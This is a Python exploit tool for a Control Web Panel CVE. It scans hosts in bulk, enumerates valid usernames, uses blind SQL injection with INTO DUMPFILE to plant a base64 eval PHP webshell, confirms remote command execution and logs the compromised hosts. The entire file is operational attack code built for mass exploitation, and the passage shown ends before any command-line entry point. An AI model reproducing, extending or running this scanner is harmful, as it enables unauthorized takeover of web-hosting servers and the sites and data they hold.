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| #!/usr/bin/env python3
"""
CVE-2026-57517 — Control Web Panel (CWP)
Blind SQL Injection → RCE via INTO DUMPFILE Webshell
Mass Scanner + Validator + Interactive Shell
"""
import requests
import re
import sys
import os
import json
import time
import random
import base64
import hashlib
import argparse
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
from datetime import datetime
from dataclasses import dataclass
from typing import Optional
# Silence SSL noise
import urllib3
urllib3.disable_warnings()
import warnings
warnings.filterwarnings("ignore")
# =============================================================================
# Config
# =============================================================================
TIMEOUT = 15
MAX_WORKERS = 20
CWP_PORT = 2083
WEBSHELL_PORT = 2031
# Common CWP usernames
CWP_USERNAMES = [
"admin", "root", "cwp", "cwpsvc", "cwpsrv",
"user", "test", "webmaster", "administrator", "website",
"hosting", "client", "demo", "manager", "support",
]
# Username discovery endpoints — try login response diff
USER_CHECK_ENDPOINTS = [
"/", # main user panel page
"/login/index.php", # login page
]
# =============================================================================
# Helpers
# =============================================================================
def hex_enc(s: str) -> str:
"""Convert string to MySQL hex literal 0x..."""
return "0x" + "".join(f"{ord(c):02x}" for c in s)
def gen_id(length: int = 10) -> str:
return hashlib.sha256(os.urandom(16)).hexdigest()[:length]
def b64enc(s: str) -> str:
return base64.b64encode(s.encode()).decode()
def b64dec(s: str) -> str:
return base64.b64decode(s).decode()
def rand_ua() -> str:
agents = [
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 14_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1 Safari/605.1.15",
"Mozilla/5.0 (X11; Linux x86_64; rv:133.0) Gecko/20100101 Firefox/133.0",
]
return random.choice(agents)
# =============================================================================
# Data
# =============================================================================
@dataclass
class TargetResult:
url: str
host: str
status: str = "pending"
cwp_detected: bool = False
username_found: Optional[str] = None
sql_injection_success: bool = False
shell_url: Optional[str] = None
shell_path: Optional[str] = None
shell_token: Optional[str] = None
rce_confirmed: bool = False
rce_output: Optional[str] = None
whoami: Optional[str] = None
uname: Optional[str] = None
error_msg: Optional[str] = None
elapsed: float = 0.0
# =============================================================================
# Thread-Safe Live Writer
# =============================================================================
class LiveWriter:
"""Write results to TXT file in real-time, thread-safe."""
def __init__(self, filepath: str):
self.filepath = filepath
self.lock = threading.Lock()
with open(self.filepath, "w") as f:
f.write(f"# CVE-2026-57517 — CWP Blind SQLi → RCE Exploit\n")
f.write(f"# Scan started: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n")
f.write(f"# {'='*60}\n")
f.write(f"# FORMAT: STATUS | HOST | USERNAME | SHELL_URL | RCE_OUTPUT\n")
f.write(f"# {'='*60}\n\n")
def write(self, result: TargetResult):
with self.lock:
with open(self.filepath, "a") as f:
ts = datetime.now().strftime("%H:%M:%S")
if result.status == "rce_confirmed":
f.write(f"[VULN] [{ts}] {result.host}\n")
f.write(f" Username : {result.username_found}\n")
f.write(f" Shell : {result.shell_url}\n")
f.write(f" RCE : {result.rce_output}\n")
f.write(f" whoami : {result.whoami}\n")
f.write(f" uname : {result.uname}\n")
f.write(f" Elapsed : {result.elapsed:.1f}s\n\n")
elif result.status == "sqli_failed":
f.write(f"[SQLi_FAIL] [{ts}] {result.host}\n")
f.write(f" Username : {result.username_found}\n")
f.write(f" Error : {result.error_msg}\n")
f.write(f" Elapsed : {result.elapsed:.1f}s\n\n")
elif result.status == "no_username":
f.write(f"[NO_USER] [{ts}] {result.host}\n")
f.write(f" Error : No valid CWP username found\n")
f.write(f" Elapsed : {result.elapsed:.1f}s\n\n")
else:
f.write(f"[{result.status.upper()}] [{ts}] {result.host}\n")
if result.error_msg:
f.write(f" Error : {result.error_msg}\n")
f.write(f" Elapsed : {result.elapsed:.1f}s\n\n")
f.flush()
def write_summary(self, results: list):
with self.lock:
with open(self.filepath, "a") as f:
total = len(results)
rce = sum(1 for r in results if r.status == "rce_confirmed")
sqli_fail = sum(1 for r in results if r.status == "sqli_failed")
no_user = sum(1 for r in results if r.status == "no_username")
not_cwp = sum(1 for r in results if r.status == "not_cwp")
others = total - rce - sqli_fail - no_user - not_cwp
f.write(f"\n# {'='*60}\n")
f.write(f"# SCAN SUMMARY\n")
f.write(f"# Finished : {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n")
f.write(f"# Total : {total}\n")
f.write(f"# RCE : {rce}\n")
f.write(f"# SQLi Fail: {sqli_fail}\n")
f.write(f"# No User : {no_user}\n")
f.write(f"# Not CWP : {not_cwp}\n")
f.write(f"# Other : {others}\n")
f.write(f"# {'='*60}\n")
if rce > 0:
f.write(f"\n# CONFIRMED SHELLS:\n")
for r in results:
if r.status == "rce_confirmed":
f.write(f"# {r.host} | {r.username_found} | {r.shell_url}\n")
# =============================================================================
# Scanner + Exploit Engine
# =============================================================================
class CWPExploit:
def __init__(self, cleanup: bool = True, verbose: bool = False):
self.cleanup = cleanup
self.verbose = verbose
def _session(self) -> requests.Session:
sess = requests.Session()
sess.headers.update({"User-Agent": rand_ua()})
sess.verify = False
return sess
# -------------------------------------------------------------------------
# Detection
# -------------------------------------------------------------------------
def detect_cwp(self, host: str) -> bool:
"""Detect if host is running CWP on port 2083."""
sess = self._session()
url = f"https://{host}:{CWP_PORT}/"
try:
r = sess.get(url, timeout=TIMEOUT, allow_redirects=True)
except requests.RequestException:
return False
# CWP indicators in response
indicators = [
"Control Web Panel",
"CWP",
"cwpsrv",
"CentOS Web Panel",
"cwpsvc",
"login/index.php",
]
html = r.text[:10000] if r.text else ""
cookies = "; ".join([f"{c.name}={c.value}" for c in r.cookies])
found = any(ind.lower() in html.lower() for ind in indicators)
if not found:
# Try common CWP paths
for path in ["/login/index.php", "/cwp_c5f32ae18b2d0a1b_login/index.php"]:
try:
r2 = sess.get(f"https://{host}:{CWP_PORT}{path}", timeout=TIMEOUT)
if any(ind.lower() in (r2.text or "").lower() for ind in indicators):
found = True
break
except requests.RequestException:
continue
if found and self.verbose:
print(f" [+] CWP detected on {host}:{CWP_PORT}")
return found
# -------------------------------------------------------------------------
# Username enumeration
# -------------------------------------------------------------------------
def find_username(self, host: str, known_username: Optional[str] = None) -> Optional[str]:
"""
Find a valid CWP username.
If known_username is provided, validate it directly.
Otherwise auto-enumerate via multiple techniques.
"""
sess = self._session()
# If user provided a username, just validate it
if known_username:
try:
user_url = f"https://{host}:{CWP_PORT}/{known_username}/"
r = sess.get(user_url, timeout=TIMEOUT, allow_redirects=False)
if r.status_code in (200, 302, 301):
if self.verbose:
print(f" [+] Username validated: {known_username}")
return known_username
except requests.RequestException:
pass
# Even if validation fails, try the SQLi anyway — user might know better
if self.verbose:
print(f" [!] Username '{known_username}' validation uncertain, proceeding anyway")
return known_username
# Phase 1: GET /{username}/ — check HTTP 200 + CWP content
for username in CWP_USERNAMES:
try:
user_url = f"https://{host}:{CWP_PORT}/{username}/"
r = sess.get(user_url, timeout=TIMEOUT, allow_redirects=False)
if r.status_code == 200:
html = (r.text or "")[:8000]
# Strong CWP indicators on user panel
cwp_markers = ["Control Web Panel", "CWP", "cwpsrv", "User Panel", "logout"]
hits = sum(1 for m in cwp_markers if m.lower() in html.lower())
if hits >= 1:
if self.verbose:
print(f" [+] Valid username: {username} (HTTP 200 + {hits} CWP markers)")
return username
# 200 without CWP markers — might be redirect to login
if self.verbose:
print(f" [?] {username}: HTTP 200 but no CWP markers (redirect?)")
except requests.RequestException:
continue
# Phase 2: Login page error differentiation
# Valid user + wrong pass → different response than invalid user
login_url = f"https://{host}:{CWP_PORT}/login/index.php"
baseline_error = None
# Get baseline response for definitely-invalid user
try:
r = sess.post(login_url, data={"username": "nonexistent_user_xyz99", "password": "test"}, timeout=TIMEOUT)
baseline_error = (r.text or "")[:3000]
except requests.RequestException:
pass
for username in CWP_USERNAMES:
try:
r = sess.post(login_url, data={"username": username, "password": "invalid_test_xyz99"}, timeout=TIMEOUT)
html = (r.text or "")[:3000]
# If response differs from baseline, user likely exists
if baseline_error and html != baseline_error:
# Double-check: try a second definitely-invalid user
r2 = sess.post(login_url, data={"username": "fake_user_abc88", "password": "test"}, timeout=TIMEOUT)
html2 = (r2.text or "")[:3000]
if html2 == baseline_error and html != baseline_error:
if self.verbose:
print(f" [+] Valid username: {username} (response differs from invalid-user baseline)")
return username
except requests.RequestException:
continue
# Phase 3: Try CWP auto-generated username patterns
patterns = ["cwp_{username}", "cwpsrv", "cwpsvc", "admin"]
for pattern in patterns:
try:
test_user = pattern.format(username="admin") if "{" in pattern else pattern
r = sess.get(f"https://{host}:{CWP_PORT}/{test_user}/", timeout=TIMEOUT, allow_redirects=False)
if r.status_code == 200:
if self.verbose:
print(f" [+] Valid username: {test_user} (pattern match)")
return test_user
except requests.RequestException:
continue
return None
# -------------------------------------------------------------------------
# SQL Injection + Webshell Deployment
# -------------------------------------------------------------------------
def exploit_sqli(self, host: str, username: str) -> Optional[dict]:
"""
Exploit blind SQL injection via userRes parameter.
Write PHP webshell to Roundcube logs directory using INTO DUMPFILE.
"""
sess = self._session()
target_url = f"https://{host}:{CWP_PORT}/{username}/"
shell_id = gen_id(12)
shell_filename = f"cwp_{shell_id}.php"
shell_path = f"/usr/local/cwpsrv/var/services/roundcube/logs/{shell_filename}"
# Minimal PHP webshell — command via HTTP header
shell_code = '<?php eval(base64_decode($_SERVER["HTTP_C"])); ?>'
# Build SQL injection payload
# 13-column UNION SELECT + INTO DUMPFILE
hex_shell = hex_enc(shell_code)
# Destination paths to try (primary + fallbacks)
dest_paths = [
shell_path, # primary
f"/usr/local/cwpsrv/var/services/roundcube/logs/cwp_{shell_id}.phtml",
f"/usr/local/cwpsrv/var/services/roundcube/logs/cwp_{shell_id}.txt",
f"/usr/local/cwpsrv/htdocs/roundcube/logs/{shell_filename}",
f"/usr/local/cwpsrv/var/services/roundcube/logs/{shell_filename}",
]
for dest_path in dest_paths:
# 13 columns — standard for this CWP query context
payload = f'" UNION SELECT 1,{hex_shell},3,4,5,6,7,8,9,10,11,12,13 INTO DUMPFILE \'{dest_path}\' #'
try:
r = sess.post(
target_url,
data={"userRes": payload},
timeout=TIMEOUT,
allow_redirects=False,
)
except requests.RequestException:
continue
# Accept any non-500 response (blind — we verify via webshell)
if r.status_code >= 500:
continue
# Verify shell was written
extracted_path = dest_path.split("/logs/")[-1] if "/logs/" in dest_path else shell_filename
shell_url = f"https://{host}:{WEBSHELL_PORT}/roundcube/logs/{extracted_path}"
if self._verify_shell(shell_url):
if self.verbose:
print(f" [+] Shell deployed: {shell_url}")
return {
"shell_url": shell_url,
"shell_path": dest_path,
"shell_filename": extracted_path,
}
return None
def _verify_shell(self, shell_url: str) -> bool:
"""Verify webshell executes by sending a simple token check."""
sess = self._session()
verify_token = gen_id(16)
verify_cmd = b64enc(f"echo '{verify_token}';")
verify_php = b64enc(f"print '___CMD___'; passthru(base64_decode('{verify_cmd}')); print '___CMD___';")
try:
r = sess.get(shell_url, headers={"C": verify_php}, timeout=TIMEOUT)
if r.status_code == 200 and verify_token in r.text:
return True
except requests.RequestException:
pass
return False
def exec_command(self, shell_url: str, cmd: str) -> Optional[str]:
"""Execute a command on the webshell."""
sess = self._session()
encoded_cmd = b64enc(cmd)
php_code = b64enc(f"print '___CMD___'; passthru(base64_decode('{encoded_cmd}')); print '___CMD___';")
try:
r = sess.get(shell_url, headers={"C": php_code}, timeout=TIMEOUT)
if r.status_code == 200:
# Extract output between markers
m = re.search(r"___CMD___(.*?)___CMD___", r.text, re.DOTALL)
if m:
return m.group(1).strip()
except requests.RequestException:
pass
return None
def cleanup_shell(self, shell_url: str):
"""Try to delete the webshell."""
try:
sess = self._session()
cleanup = b64enc("@unlink(__FILE__);")
php = b64enc(f"eval(base64_decode('{cleanup}'));")
sess.get(shell_url, headers={"C": php}, timeout=5)
except:
pass
# -------------------------------------------------------------------------
# Full scan & exploit pipeline
# -------------------------------------------------------------------------
def run(self, host: str, username: Optional[str] = None) -> TargetResult:
start = time.time()
result = TargetResult(url=f"https://{host}:{CWP_PORT}", host=host)
# Step 1: Detect CWP
if not self.detect_cwp(host):
result.status = "not_cwp"
result.error_msg = "CWP not detected on port 2083"
result.elapsed = time.time() - start
return result
result.cwp_detected = True
# Step 2: Find/validate username
username = self.find_username(host, known_username=username)
if not username:
result.status = "no_username"
result.error_msg = "Could not enumerate valid CWP username"
result.elapsed = time.time() - start
return result
result.username_found = username
# Step 3: SQL injection + deploy webshell
shell_info = self.exploit_sqli(host, username)
if not shell_info:
result.status = "sqli_failed"
result.error_msg = "SQL injection failed — target may be patched or path not writable"
result.elapsed = time.time() - start
return result
result.shell_url = shell_info["shell_url"]
result.shell_path = shell_info["shell_path"]
result.sql_injection_success = True
# Step 4: Validate RCE
id_output = self.exec_command(shell_info["shell_url"], "id; hostname; uname -a")
if id_output:
result.status = "rce_confirmed"
result.rce_confirmed = True
result.rce_output = id_output
# Extract whoami
who_match = re.search(r"uid=\d+\((\w+)\)", id_output)
if who_match:
result.whoami = who_match.group(1)
# Extract hostname
lines = id_output.strip().split("\n")
if len(lines) >= 2:
result.uname = lines[-1][:100] if len(lines[-1]) > 10 else id_output[:200]
else:
result.status = "sqli_failed"
result.error_msg = "Shell deployed but command execution failed"
# Step 5: Cleanup
if self.cleanup and result.rce_confirmed:
self.cleanup_shell(shell_info["shell_url"])
if self.verbose:
print(f" [-] Shell cleaned up")
result.elapsed = time.time() - start
return result
|
